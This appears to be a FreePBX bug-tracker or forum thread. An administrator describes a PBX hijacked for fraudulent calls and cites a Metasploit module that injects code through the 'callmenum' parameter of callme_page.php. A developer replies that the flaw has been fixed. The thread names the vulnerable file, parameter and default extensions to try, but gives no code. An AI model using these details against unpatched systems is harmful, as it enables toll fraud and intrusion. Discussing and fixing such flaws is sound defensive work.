Yesterday, after only a few hours that my company installed a new FreePBX system, the customer PBX was attacked and the system compromised. In the night were made hundreds of phone calls to Africa and Central America.
The system is Ubuntu 10.04 LTS with FreePBX 2.8/Asterisk 1.8.10.1 with all packages updated. And the passwords are 12 characters lenght with variable complexity.
Analizing the apache log i see this connection from Russia:
You say that this vulnerability was solved in 2.6 but this page (http://packetstormsecurity.org/files/111174/freepbx_callmenum.rb.txt)
published yesterday say clearly: “This Metasploit module exploits FreePBX version 2.10.0,2.9.0 and possibly older. Due to the way callme_page.php handles the ‘callmenum’ parameter, it is possible to inject code to the ‘$channel’ variable in function callme_startcall in order to gain remote code execution. Please note in order to use this module properly, you must know the extension number, which can be enumerated or bruteforced, or you may try some of the default extensions such as 0 or 200. Also, the call has to be answered (or go to voice). Tested on both Elastix and FreePBX ISO image installs”
the report is not up-to-date with the fact that it has been fixed.
It requires the vulnerability to be passed in as a parameter. That parameter is no longer used. The only parameter that is now passed in is the action whether to initiate a call or hangup an existing call. The extension in question is obtained from the SESSION and the actual number to call is pulled directly from the AstDB which is setup for the user.
as a side comment, the same concept could be exploited by an authenticated user if they input a bogus callme number into the GUI, or is otherwise someone managed to inject that into the AstDB variable.
The above has not been done or reported anywhere but was the second phase of addressing the potential exploit that we started going over right after immediately closing down the known and more dangerous issue.
It has been fixed per #5729 though so it is now both properly validated and properly checked to be a valid number when being used regardless of how it got into the AstDB.